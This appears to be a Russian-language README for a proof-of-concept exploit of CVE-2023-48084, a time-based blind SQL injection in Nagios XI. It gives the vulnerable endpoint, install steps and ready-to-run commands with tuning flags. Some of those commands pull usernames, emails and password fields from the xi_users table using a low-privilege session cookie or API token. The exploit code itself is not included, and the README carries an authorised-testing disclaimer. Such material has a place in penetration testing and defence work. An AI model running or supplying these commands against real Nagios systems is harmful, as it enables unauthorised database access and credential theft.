
Python PoC, эксплуатирующий time-based blind SQLi в Nagios XI для извлечения содержимого базы данных, с многопоточным извлечением методом бинарного поиска и выбором схемы/таблицы/колонки через CLI.
Репозиторий: MettHK/CVE-2023-48084-Revised
Обновлённая версия Hamibubu/CVE-2023-48084 с многопоточностью, извлечением с помощью бинарного поиска и флагами CLI для выбора базы данных / таблицы / столбцов.
Не оригинальный репозиторий. Это производный/улучшенный PoC. Авторство оригинальной работы принадлежит Hamibubu.
Только для авторизованного тестирования безопасности и образовательных целей. Не используйте это против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Авторы и участники не несут ответственности за неправомерное использование.
CVE-2023-48084: Nagios XI до версии 5.11.3 содержит уязвимость SQL-инъекции через инструмент массового изменения.
Этот PoC эксплуатирует time-based blind SQL injection (временную слепую SQL-инъекцию) на:
/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=(SQL)
Вам нужен действительный session cookie без прав администратора (nagiosxi) или .
| Область | Что изменилось |
|---|---|
| Извлечение | Бинарный поиск длины строки и ASCII-символов (значительно меньше запросов) |
| Производительность | Многопоточное извлечение символов (-w / --workers) |
| CLI | -d / --database — пропустить обнаружение схемы |
| CLI | -t / --table — пропустить обнаружение таблицы (требуется -d) |
| CLI | -C / --columns — столбцы через запятую, пропустить обнаружение столбцов (требуется -t) |
| Тайминги | Настраиваемые --delay, --threshold, --max-length |
| Надёжность | HTTP-сессии на каждый поток; опциональный pwntools (прогресс-бары) с простым запасным вариантом |
| Документация | Указание авторства/ссылка на оригинал; в примерах нет лабораторных хостов или артефактов CTF |
requests (обязательно)pwntools (опционально; более наглядный вывод прогресса)git clone https://github.com/MettHK/CVE-2023-48084-Revised.git
cd CVE-2023-48084-Revised
pip install -r requirements.txt
# Interactive (discover schemas → tables → columns)
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -c '<cookie>'
python3 CVE-2023-48084.py -u https://target.example/nagiosxi -a '<api_token>'
# Fast path: database + table + columns known
python3 CVE-2023-48084.py \
-u https://target.example/nagiosxi \
-c '<cookie>' \
-d nagiosxi \
-t xi_users \
-C username,email,password \
-w 15 \
--delay 1.2
Я не рекомендую использовать более 2 воркеров, так как это может возвращать некорректные результаты
| Флаг | Описание |
|---|---|
-u / --url | Базовый URL (например, https://target.example/nagiosxi) |
-c / --cookie | Значение session cookie nagiosxi |
-a / --apiKey | API-токен (не использовать вместе с -c) |
-d / --database | Имя схемы/базы данных (пропустить перечисление схемы) |
-t / --table | Имя таблицы (пропустить перечисление таблиц; требуется -d) |
-C / --columns | Столбцы через запятую (пропустить перечисление столбцов; требуется -t) |
-w / --workers | Параллельные потоки (по умолчанию: 10) |
--delay | секунды SLEEP на истинной ветке (по умолчанию: 1.5) |
--threshold | Мин. время ответа, чтобы считаться попаданием (по умолчанию: delay * 0.8) |
--max-length | Верхняя граница для бинарного поиска длины (по умолчанию: 2048) |
--delay (например, 2) или уменьшите -w (например, 5).-w 15–20).-d / -t / -C, если вы уже знаете целевую схему, чтобы избежать долгого обнаружения.